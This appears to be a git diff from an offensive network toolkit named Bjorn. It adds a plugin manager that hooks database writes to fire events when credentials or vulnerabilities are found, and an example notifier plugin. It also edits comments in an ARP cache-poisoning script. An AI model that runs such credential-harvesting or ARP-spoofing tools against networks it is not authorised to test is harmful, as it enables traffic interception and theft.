||||||
|
original = db.insert_cred
|
||||||
|
self._original_db_methods['insert_cred'] = original
|
||||||
|
|
||||||
|
def hooked_insert_cred(*args, **kwargs):
|
||||||
|
result = original(*args, **kwargs)
|
||||||
|
try:
|
||||||
|
mgr = manager_ref()
|
||||||
|
if mgr:
|
||||||
|
mgr.dispatch("on_credential_found", cred={
|
||||||
|
"service": kwargs.get("service", args[0] if args else ""),
|
||||||
|
"mac": kwargs.get("mac", args[1] if len(args) > 1 else ""),
|
||||||
|
"ip": kwargs.get("ip", args[2] if len(args) > 2 else ""),
|
||||||
|
"user": kwargs.get("user", args[4] if len(args) > 4 else ""),
|
||||||
|
"port": kwargs.get("port", args[6] if len(args) > 6 else ""),
|
||||||
|
})
|
||||||
|
except Exception as e:
|
||||||
|
logger.debug(f"Hook dispatch error (on_credential_found): {e}")
|
||||||
|
return result
|
||||||
|
|
||||||
|
db.insert_cred = hooked_insert_cred
|
||||||
|
|
||||||
|
# Wrap insert_vulnerability if it exists
|
||||||
|
if hasattr(db, 'insert_vulnerability'):
|
||||||
|
original = db.insert_vulnerability
|
||||||
|
self._original_db_methods['insert_vulnerability'] = original
|
||||||
|
|
||||||
|
def hooked_insert_vuln(*args, **kwargs):
|
||||||
|
result = original(*args, **kwargs)
|
||||||
|
try:
|
||||||
|
mgr = manager_ref()
|
||||||
|
if mgr:
|
||||||
|
mgr.dispatch("on_vulnerability_found", vuln=kwargs or {})
|
||||||
|
except Exception as e:
|
||||||
|
logger.debug(f"Hook dispatch error (on_vulnerability_found): {e}")
|
||||||
|
return result
|
||||||
|
|
||||||
|
db.insert_vulnerability = hooked_insert_vuln
|
||||||
|
|
||||||
|
logger.debug("DB hook wrappers installed (weakref)")
|
||||||
|
|
||||||
|
def _uninstall_db_hooks(self) -> None:
|
||||||
|
"""Restore original DB methods, removing monkey-patches."""
|
||||||
|
db = getattr(self.shared_data, 'db', None)
|
||||||
|
if not db:
|
||||||
|
return
|
||||||
|
for method_name, original in self._original_db_methods.items():
|
||||||
|
try:
|
||||||
|
setattr(db, method_name, original)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
self._original_db_methods.clear()
|
||||||
|
logger.debug("DB hook wrappers removed")
|
||||||
|
|
||||||
|
# ── Action Registration ──────────────────────────────────────────
|
||||||
|
|
||||||
|
def get_action_registrations(self) -> List[dict]:
|
||||||
|
"""
|
||||||
|
Return action-metadata dicts for plugins of type='action'.
|
||||||
|
These get merged into sync_actions_to_database() alongside regular actions.
|
||||||
|
"""
|
||||||
|
registrations = []
|
||||||
|
|
||||||
|
for meta in self._meta.values():
|
||||||
|
if meta.get("type") != "action":
|
||||||
|
continue
|
||||||
|
|
||||||
|
action_meta = meta.get("action", {})
|
||||||
|
plugin_id = meta["id"]
|
||||||
|
|
||||||
|
reg = {
|
||||||
|
"b_class": meta.get("class", plugin_id),
|
||||||
|
"b_module": f"plugins/{plugin_id}",
|
||||||
|
"b_action": "plugin",
|
||||||
|
"b_name": meta.get("name", plugin_id),
|
||||||
|
"b_description": meta.get("description", ""),
|
||||||
|
"b_author": meta.get("author", ""),
|
||||||
|
"b_version": meta.get("version", "0.0.0"),
|
||||||
|
"b_icon": meta.get("icon", ""),
|
||||||
|
"b_enabled": 1,
|
||||||
|
"b_port": action_meta.get("port"),
|
||||||
|
"b_service": json.dumps(action_meta.get("service", [])),
|
||||||
|
"b_trigger": action_meta.get("trigger"),
|
||||||
|
"b_priority": action_meta.get("priority", 50),
|
||||||
|
"b_cooldown": action_meta.get("cooldown", 0),
|
||||||
|
"b_timeout": action_meta.get("timeout", 300),
|
||||||
|
"b_max_retries": action_meta.get("max_retries", 1),
|
||||||
|
"b_stealth_level": action_meta.get("stealth_level", 5),
|
||||||
|
"b_risk_level": action_meta.get("risk_level", "medium"),
|
||||||
|
"b_tags": json.dumps(meta.get("tags", [])),
|
||||||
|
"b_args": json.dumps(meta.get("config_schema", {})),
|
||||||
|
}
|
||||||
|
registrations.append(reg)
|
||||||
|
|
||||||
|
return registrations
|
||||||
|
|
||||||
|
# ── Config Management ────────────────────────────────────────────
|
||||||
|
|
||||||
|
def get_config(self, plugin_id: str) -> dict:
|
||||||
|
"""Return merged config: schema defaults + DB overrides."""
|
||||||
|
return self._get_merged_config(plugin_id, self._meta.get(plugin_id))
|
||||||
|
|
||||||
|
def save_config(self, plugin_id: str, values: dict) -> None:
|
||||||
|
"""Validate against schema, persist to DB, hot-reload into instance."""
|
||||||
|
meta = self._meta.get(plugin_id)
|
||||||
|
if not meta:
|
||||||
|
raise ValueError(f"Plugin {plugin_id} not found")
|
||||||
|
|
||||||
|
schema = meta.get("config_schema", {})
|
||||||
|
validated = {}
|
||||||
|
|
||||||
|
for key, spec in schema.items():
|
||||||
|
if key in values:
|
||||||
|
validated[key] = self._coerce_value(values[key], spec)
|
||||||
|
else:
|
||||||
|
validated[key] = spec.get("default")
|
||||||
|
|
||||||
|
self.shared_data.db.save_plugin_config(plugin_id, validated)
|
||||||
|
|
||||||
|
# Hot-reload config into running instance
|
||||||
|
instance = self._instances.get(plugin_id)
|
||||||
|
if instance:
|
||||||
|
instance.config = validated
|
||||||
|
|
||||||
|
logger.info(f"Config saved for plugin {plugin_id}")
|
||||||
|
|
||||||
|
# ── Install / Uninstall ──────────────────────────────────────────
|
||||||
|
|
||||||
|
def install_from_zip(self, zip_bytes: bytes) -> dict:
|
||||||
|
"""
|
||||||
|
Extract zip to plugins/<id>/, validate plugin.json, register in DB.
|
||||||
|
Returns {"status": "ok", "plugin_id": ...} or {"status": "error", ...}.
|
||||||
|
"""
|
||||||
|
tmp_dir = None
|
||||||
|
try:
|
||||||
|
# Extract to temp dir
|
||||||
|
tmp_dir = tempfile.mkdtemp(prefix="bjorn_plugin_")
|
||||||
|
zip_path = os.path.join(tmp_dir, "plugin.zip")
|
||||||
|
with open(zip_path, "wb") as f:
|
||||||
|
f.write(zip_bytes)
|
||||||
|
|
||||||
|
with zipfile.ZipFile(zip_path, "r") as zf:
|
||||||
|
# Security: check for path traversal in zip
|
||||||
|
for name in zf.namelist():
|
||||||
|
if name.startswith("/") or ".." in name:
|
||||||
|
return {"status": "error", "message": f"Unsafe path in zip: {name}"}
|
||||||
|
zf.extractall(tmp_dir)
|
||||||
|
|
||||||
|
# Find plugin.json (may be in root or in a subdirectory)
|
||||||
|
manifest_path = None
|
||||||
|
for walk_root, dirs, files in os.walk(tmp_dir):
|
||||||
|
if "plugin.json" in files:
|
||||||
|
manifest_path = os.path.join(walk_root, "plugin.json")
|
||||||
|
break
|
||||||
|
|
||||||
|
if not manifest_path:
|
||||||
|
return {"status": "error", "message": "No plugin.json found in archive"}
|
||||||
|
|
||||||
|
with open(manifest_path, "r", encoding="utf-8") as f:
|
||||||
|
meta = json.load(f)
|
||||||
|
|
||||||
|
missing = _REQUIRED_MANIFEST_FIELDS - set(meta.keys())
|
||||||
|
if missing:
|
||||||
|
return {"status": "error", "message": f"Missing manifest fields: {missing}"}
|
||||||
|
|
||||||
|
plugin_id = meta["id"]
|
||||||
|
plugin_source_dir = os.path.dirname(manifest_path)
|
||||||
|
target_dir = os.path.join(self.plugins_dir, plugin_id)
|
||||||
|
|
||||||
|
# Check if already installed
|
||||||
|
if os.path.isdir(target_dir):
|
||||||
|
# Allow upgrade: remove old version
|
||||||
|
self.unload_plugin(plugin_id)
|
||||||
|
shutil.rmtree(target_dir)
|
||||||
|
|
||||||
|
# Move to plugins dir
|
||||||
|
shutil.copytree(plugin_source_dir, target_dir)
|
||||||
|
|
||||||
|
# Register in DB
|
||||||
|
default_config = self._extract_defaults(meta)
|
||||||
|
self.shared_data.db.upsert_plugin(plugin_id, 0, default_config, meta)
|
||||||
|
|
||||||
|
# Check dependencies
|
||||||
|
dep_check = self.check_dependencies(meta)
|
||||||
|
if not dep_check["ok"]:
|
||||||
|
logger.warning(f"Plugin {plugin_id} has missing deps: {dep_check['missing']}")
|
||||||
|
|
||||||
|
logger.info(f"Plugin installed: {plugin_id}")
|
||||||
|
return {
|
||||||
|
"status": "ok",
|
||||||
|
"plugin_id": plugin_id,
|
||||||
|
"name": meta.get("name", plugin_id),
|
||||||
|
"dependencies": dep_check,
|
||||||
|
}
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Plugin install failed: {e}")
|
||||||
|
return {"status": "error", "message": "Plugin installation failed"}
|
||||||
|
finally:
|
||||||
|
# Always clean up temp dir
|
||||||
|
if tmp_dir:
|
||||||
|
try:
|
||||||
|
shutil.rmtree(tmp_dir)
|
||||||
|
except Exception as cleanup_err:
|
||||||
|
logger.warning(f"Temp dir cleanup failed ({tmp_dir}): {cleanup_err}")
|
||||||
|
|
||||||
|
def uninstall(self, plugin_id: str) -> dict:
|
||||||
|
"""Unload plugin, remove DB entries, delete directory."""
|
||||||
|
try:
|
||||||
|
self.unload_plugin(plugin_id)
|
||||||
|
|
||||||
|
# Remove from DB
|
||||||
|
self.shared_data.db.delete_plugin(plugin_id)
|
||||||
|
|
||||||
|
# Remove action entry if it was an action-type plugin
|
||||||
|
try:
|
||||||
|
self.shared_data.db.delete_action(f"plugins/{plugin_id}")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Delete directory
|
||||||
|
target_dir = os.path.join(self.plugins_dir, plugin_id)
|
||||||
|
if os.path.isdir(target_dir):
|
||||||
|
shutil.rmtree(target_dir)
|
||||||
|
|
||||||
|
# Clear any cached error
|
||||||
|
self._errors.pop(plugin_id, None)
|
||||||
|
|
||||||
|
logger.info(f"Plugin uninstalled: {plugin_id}")
|
||||||
|
return {"status": "ok", "plugin_id": plugin_id}
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Plugin uninstall failed for {plugin_id}: {e}")
|
||||||
|
return {"status": "error", "message": "Uninstall failed"}
|
||||||
|
|
||||||
|
def toggle_plugin(self, plugin_id: str, enabled: bool) -> None:
|
||||||
|
"""Enable/disable a plugin. Update DB, load/unload accordingly."""
|
||||||
|
self.shared_data.db.set_plugin_enabled(plugin_id, enabled)
|
||||||
|
|
||||||
|
if enabled:
|
||||||
|
self.load_plugin(plugin_id)
|
||||||
|
else:
|
||||||
|
self.unload_plugin(plugin_id)
|
||||||
|
|
||||||
|
logger.info(f"Plugin {plugin_id} {'enabled' if enabled else 'disabled'}")
|
||||||
|
|
||||||
|
# ── Dependency Checking ──────────────────────────────────────────
|
||||||
|
|
||||||
|
def check_dependencies(self, meta: dict) -> dict:
|
||||||
|
"""Check pip and system dependencies. Returns {"ok": bool, "missing": [...]}."""
|
||||||
|
requires = meta.get("requires", {})
|
||||||
|
missing = []
|
||||||
|
|
||||||
|
# Check pip packages
|
||||||
|
for pkg in requires.get("pip", []):
|
||||||
|
pkg_name = pkg.split(">=")[0].split("==")[0].split("<")[0].strip()
|
||||||
|
if importlib.util.find_spec(pkg_name) is None:
|
||||||
|
missing.append(f"pip:{pkg}")
|
||||||
|
|
||||||
|
# Check system commands
|
||||||
|
for cmd in requires.get("system", []):
|
||||||
|
if shutil.which(cmd) is None:
|
||||||
|
missing.append(f"system:{cmd}")
|
||||||
|
|
||||||
|
return {"ok": len(missing) == 0, "missing": missing}
|
||||||
|
|
||||||
|
# ── Status ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def get_plugin_status(self, plugin_id: str) -> str:
|
||||||
|
"""Return status string: 'loaded', 'disabled', 'error', 'not_installed'."""
|
||||||
|
if plugin_id in self._instances:
|
||||||
|
return "loaded"
|
||||||
|
if plugin_id in self._errors:
|
||||||
|
return "error"
|
||||||
|
db_rec = self.shared_data.db.get_plugin_config(plugin_id)
|
||||||
|
if db_rec:
|
||||||
|
return "disabled" if not db_rec.get("enabled", 1) else "error"
|
||||||
|
return "not_installed"
|
||||||
|
|
||||||
|
def get_all_status(self) -> List[dict]:
|
||||||
|
"""Return status for all known plugins (discovered + DB)."""
|
||||||
|
result = []
|
||||||
|
db_plugins = {p["plugin_id"]: p for p in self.shared_data.db.list_plugins_db()}
|
||||||
|
|
||||||
|
# Include discovered plugins
|
||||||
|
discovered = self.discover_plugins()
|
||||||
|
seen = set()
|
||||||
|
|
||||||
|
for meta in discovered:
|
||||||
|
pid = meta["id"]
|
||||||
|
seen.add(pid)
|
||||||
|
db_rec = db_plugins.get(pid, {})
|
||||||
|
result.append({
|
||||||
|
"id": pid,
|
||||||
|
"name": meta.get("name", pid),
|
||||||
|
"description": meta.get("description", ""),
|
||||||
|
"version": meta.get("version", "?"),
|
||||||
|
"author": meta.get("author", ""),
|
||||||
|
"type": meta.get("type", "unknown"),
|
||||||
|
"enabled": bool(db_rec.get("enabled", 1)),
|
||||||
|
"status": self.get_plugin_status(pid),
|
||||||
|
"hooks": meta.get("hooks", []),
|
||||||
|
"has_config": bool(meta.get("config_schema")),
|
||||||
|
"error": self._errors.get(pid),
|
||||||
|
"dependencies": self.check_dependencies(meta),
|
||||||
|
})
|
||||||
|
|
||||||
|
# Include DB-only entries (installed but directory removed?)
|
||||||
|
for pid, db_rec in db_plugins.items():
|
||||||
|
if pid not in seen:
|
||||||
|
meta = db_rec.get("meta", {})
|
||||||
|
result.append({
|
||||||
|
"id": pid,
|
||||||
|
"name": meta.get("name", pid),
|
||||||
|
"description": meta.get("description", ""),
|
||||||
|
"version": meta.get("version", "?"),
|
||||||
|
"author": meta.get("author", ""),
|
||||||
|
"type": meta.get("type", "unknown"),
|
||||||
|
"enabled": bool(db_rec.get("enabled", 0)),
|
||||||
|
"status": "missing",
|
||||||
|
"hooks": [],
|
||||||
|
"has_config": False,
|
||||||
|
"error": "Plugin directory not found",
|
||||||
|
})
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
# ── Private Helpers ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _set_error(self, plugin_id: str, message: str) -> None:
|
||||||
|
"""Set an error for a plugin, with bounded error dict size."""
|
||||||
|
if len(self._errors) >= _MAX_ERRORS:
|
||||||
|
# Evict oldest entry (arbitrary, just keep bounded)
|
||||||
|
try:
|
||||||
|
oldest_key = next(iter(self._errors))
|
||||||
|
del self._errors[oldest_key]
|
||||||
|
except StopIteration:
|
||||||
|
pass
|
||||||
|
self._errors[plugin_id] = message
|
||||||
|
|
||||||
|
def _get_merged_config(self, plugin_id: str, meta: Optional[dict]) -> dict:
|
||||||
|
"""Merge schema defaults with DB-stored user config."""
|
||||||
|
schema = (meta or {}).get("config_schema", {})
|
||||||
|
defaults = self._extract_defaults(meta or {})
|
||||||
|
|
||||||
|
db_rec = self.shared_data.db.get_plugin_config(plugin_id)
|
||||||
|
if db_rec and db_rec.get("config"):
|
||||||
|
merged = dict(defaults)
|
||||||
|
merged.update(db_rec["config"])
|
||||||
|
return merged
|
||||||
|
|
||||||
|
return defaults
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _extract_defaults(meta: dict) -> dict:
|
||||||
|
"""Extract default values from config_schema."""
|
||||||
|
schema = meta.get("config_schema", {})
|
||||||
|
return {k: spec.get("default") for k, spec in schema.items()}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _coerce_value(value: Any, spec: dict) -> Any:
|
||||||
|
"""Coerce a config value to the type declared in the schema."""
|
||||||
|
vtype = spec.get("type", "string")
|
||||||
|
try:
|
||||||
|
if vtype == "int" or vtype == "number":
|
||||||
|
return int(value)
|
||||||
|
elif vtype == "float":
|
||||||
|
return float(value)
|
||||||
|
elif vtype in ("bool", "boolean"):
|
||||||
|
if isinstance(value, str):
|
||||||
|
return value.lower() in ("true", "1", "yes", "on")
|
||||||
|
return bool(value)
|
||||||
|
elif vtype == "select":
|
||||||
|
choices = spec.get("choices", [])
|
||||||
|
return value if value in choices else spec.get("default")
|
||||||
|
elif vtype == "multiselect":
|
||||||
|
if isinstance(value, list):
|
||||||
|
return value
|
||||||
|
return spec.get("default", [])
|
||||||
|
else:
|
||||||
|
return str(value) if value is not None else spec.get("default", "")
|
||||||
|
except (ValueError, TypeError):
|
||||||
|
return spec.get("default")
|
||||||
69
plugins/example_notifier/example_notifier.py
Normal file
69
plugins/example_notifier/example_notifier.py
Normal file
@@ -0,0 +1,69 @@
|
|||||||
|
"""example_notifier.py - Example Bjorn plugin that logs events to the console.
|
||||||
|
|
||||||
|
This plugin demonstrates how to:
|
||||||
|
- Extend BjornPlugin
|
||||||
|
- Use config values from plugin.json config_schema
|
||||||
|
- Subscribe to hooks (on_credential_found, on_vulnerability_found, etc.)
|
||||||
|
- Use the PluginLogger for namespaced logging
|
||||||
|
- Access the database via self.db
|
||||||
|
|
||||||
|
Copy this directory as a starting point for your own plugin!
|
||||||
|
"""
|
||||||
|
|
||||||
|
from bjorn_plugin import BjornPlugin
|
||||||
|
|
||||||
|
|
||||||
|
class ExampleNotifier(BjornPlugin):
|
||||||
|
"""Logs security events to the Bjorn console."""
|
||||||
|
|
||||||
|
def setup(self):
|
||||||
|
"""Called once when the plugin is loaded."""
|
||||||
|
self.prefix = self.config.get("custom_prefix", "ALERT")
|
||||||
|
self.log.info(f"Example Notifier ready (prefix={self.prefix})")
|
||||||
|
|
||||||
|
def teardown(self):
|
||||||
|
"""Called when the plugin is unloaded."""
|
||||||
|
self.log.info("Example Notifier stopped")
|
||||||
|
|
||||||
|
# ── Hook implementations ─────────────────────────────────────────
|
||||||
|
|
||||||
|
def on_host_discovered(self, host):
|
||||||
|
"""Fired when a new host appears on the network."""
|
||||||
|
mac = host.get("mac_address", "?")
|
||||||
|
ips = host.get("ips", "?")
|
||||||
|
self.log.info(f"[{self.prefix}] New host: {mac} ({ips})")
|
||||||
|
|
||||||
|
def on_credential_found(self, cred):
|
||||||
|
"""Fired when a new credential is stored in the DB."""
|
||||||
|
if not self.config.get("log_credentials", True):
|
||||||
|
return
|
||||||
|
|
||||||
|
service = cred.get("service", "?")
|
||||||
|
user = cred.get("user", "?")
|
||||||
|
ip = cred.get("ip", "?")
|
||||||
|
self.log.success(
|
||||||
|
f"[{self.prefix}] Credential found! {service}://{user}@{ip}"
|
||||||
|
)
|
||||||
|
|
||||||
|
def on_vulnerability_found(self, vuln):
|
||||||
|
"""Fired when a new vulnerability is recorded."""
|
||||||
|
if not self.config.get("log_vulnerabilities", True):
|
||||||
|
return
|
||||||
|
|
||||||
|
cve = vuln.get("cve_id", "?")
|
||||||
|
ip = vuln.get("ip", "?")
|
||||||
|
severity = vuln.get("severity", "?")
|
||||||
|
self.log.warning(
|
||||||
|
f"[{self.prefix}] Vulnerability: {cve} on {ip} (severity={severity})"
|
||||||
|
)
|
||||||
|
|
||||||
|
def on_action_complete(self, action_name, success, target):
|
||||||
|
"""Fired after any orchestrated action finishes."""
|
||||||
|
if not self.config.get("log_actions", False):
|
||||||
|
return
|
||||||
|
|
||||||
|
status = "SUCCESS" if success else "FAILED"
|
||||||
|
ip = target.get("ip", "?")
|
||||||
|
self.log.info(
|
||||||
|
f"[{self.prefix}] Action {action_name} {status} on {ip}"
|
||||||
|
)
|
||||||
52
plugins/example_notifier/plugin.json
Normal file
52
plugins/example_notifier/plugin.json
Normal file
@@ -0,0 +1,52 @@
|
|||||||
|
{
|
||||||
|
"id": "example_notifier",
|
||||||
|
"name": "Example Notifier",
|
||||||
|
"description": "Logs events to console when credentials or vulnerabilities are found. Use as a template for building your own plugins.",
|
||||||
|
"author": "Bjorn Team",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"license": "MIT",
|
||||||
|
"type": "notifier",
|
||||||
|
"main": "example_notifier.py",
|
||||||
|
"class": "ExampleNotifier",
|
||||||
|
"tags": ["example", "template", "notifier"],
|
||||||
|
|
||||||
|
"config_schema": {
|
||||||
|
"log_credentials": {
|
||||||
|
"type": "boolean",
|
||||||
|
"label": "Log new credentials",
|
||||||
|
"default": true,
|
||||||
|
"help": "Log to console when new credentials are discovered"
|
||||||
|
},
|
||||||
|
"log_vulnerabilities": {
|
||||||
|
"type": "boolean",
|
||||||
|
"label": "Log new vulnerabilities",
|
||||||
|
"default": true,
|
||||||
|
"help": "Log to console when new vulnerabilities are found"
|
||||||
|
},
|
||||||
|
"log_actions": {
|
||||||
|
"type": "boolean",
|
||||||
|
"label": "Log action completions",
|
||||||
|
"default": false,
|
||||||
|
"help": "Log every action result (can be noisy)"
|
||||||
|
},
|
||||||
|
"custom_prefix": {
|
||||||
|
"type": "string",
|
||||||
|
"label": "Log prefix",
|
||||||
|
"default": "ALERT",
|
||||||
|
"help": "Custom prefix for log messages"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
"hooks": [
|
||||||
|
"on_credential_found",
|
||||||
|
"on_vulnerability_found",
|
||||||
|
"on_action_complete",
|
||||||
|
"on_host_discovered"
|
||||||
|
],
|
||||||
|
|
||||||
|
"requires": {
|
||||||
|
"pip": [],
|
||||||
|
"system": [],
|
||||||
|
"bjorn_min_version": "1.0.0"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,13 +1,4 @@
|
|||||||
# AARP Spoofer by poisoning the ARP cache of a target and a gateway.
|
"""arp_spoofer.py - ARP cache poisoning between target and gateway (scapy)."""
|
||||||
# Saves settings (target, gateway, interface, delay) in `/home/bjorn/.settings_bjorn/arpspoofer_settings.json`.
|
|
||||||
# Automatically loads saved settings if arguments are not provided.
|
|
||||||
# -t, --target IP address of the target device (overrides saved value).
|
|
||||||
# -g, --gateway IP address of the gateway (overrides saved value).
|
|
||||||
# -i, --interface Network interface (default: primary or saved).
|
|
||||||
# -d, --delay Delay between ARP packets in seconds (default: 2 or saved).
|
|
||||||
# - First time: python arpspoofer.py -t TARGET -g GATEWAY -i INTERFACE -d DELAY
|
|
||||||
# - Subsequent: python arpspoofer.py (uses saved settings).
|
|
||||||
# - Update: Provide any argument to override saved values.
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import json
|
import json
|
||||||
@@ -19,7 +10,7 @@ from scapy.all import ARP, send, sr1, conf
|
|||||||
b_class = "ARPSpoof"
|
b_class = "ARPSpoof"
|
||||||
b_module = "arp_spoofer"
|
b_module = "arp_spoofer"
|
||||||
b_enabled = 0
|
b_enabled = 0
|
||||||
# Répertoire et fichier de paramètres
|
# Settings directory and file
|
||||||
SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||||
SETTINGS_FILE = os.path.join(SETTINGS_DIR, "arpspoofer_settings.json")
|
SETTINGS_FILE = os.path.join(SETTINGS_DIR, "arpspoofer_settings.json")
|
||||||
|
|
||||||
@@ -29,7 +20,7 @@ class ARPSpoof:
|
|||||||
self.gateway_ip = gateway_ip
|
self.gateway_ip = gateway_ip
|
||||||
self.interface = interface
|
self.interface = interface
|
||||||
self.delay = delay
|
self.delay = delay
|
||||||
conf.iface = self.interface # Set the interface
|
conf.iface = self.interface
|
||||||
print(f"ARPSpoof initialized with target IP: {self.target_ip}, gateway IP: {self.gateway_ip}, interface: {self.interface}, delay: {self.delay}s")
|
print(f"ARPSpoof initialized with target IP: {self.target_ip}, gateway IP: {self.gateway_ip}, interface: {self.interface}, delay: {self.delay}s")
|
||||||
|
|
||||||
def get_mac(self, ip):
|
def get_mac(self, ip):
|
||||||
@@ -144,7 +135,7 @@ if __name__ == "__main__":
|
|||||||
parser.add_argument("-d", "--delay", type=float, default=2, help="Delay between ARP packets in seconds (default: 2 seconds)")
|
parser.add_argument("-d", "--delay", type=float, default=2, help="Delay between ARP packets in seconds (default: 2 seconds)")
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
# Load saved settings and override with CLI arguments
|
# Load saved settings, override with CLI args
|
||||||
settings = load_settings()
|
settings = load_settings()
|
||||||
target_ip = args.target or settings.get("target")
|
target_ip = args.target or settings.get("target")
|
||||||
gateway_ip = args.gateway or settings.get("gateway")
|
gateway_ip = args.gateway or settings.get("gateway")
|
||||||
@@ -155,9 +146,9 @@ if __name__ == "__main__":
|
|||||||
print("Target and Gateway IPs are required. Use -t and -g or save them in the settings file.")
|
print("Target and Gateway IPs are required. Use -t and -g or save them in the settings file.")
|
||||||
exit(1)
|
exit(1)
|
||||||
|
|
||||||
# Save the settings for future use
|
# Persist settings for future runs
|
||||||
save_settings(target_ip, gateway_ip, interface, delay)
|
save_settings(target_ip, gateway_ip, interface, delay)
|
||||||
|
|
||||||
# Execute the attack
|
# Launch ARP spoof
|
||||||
spoof = ARPSpoof(target_ip=target_ip, gateway_ip=gateway_ip, interface=interface, delay=delay)
|
spoof = ARPSpoof(target_ip=target_ip, gateway_ip=gateway_ip, interface=interface, delay=delay)
|
||||||
spoof.execute()
|
spoof.execute()
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user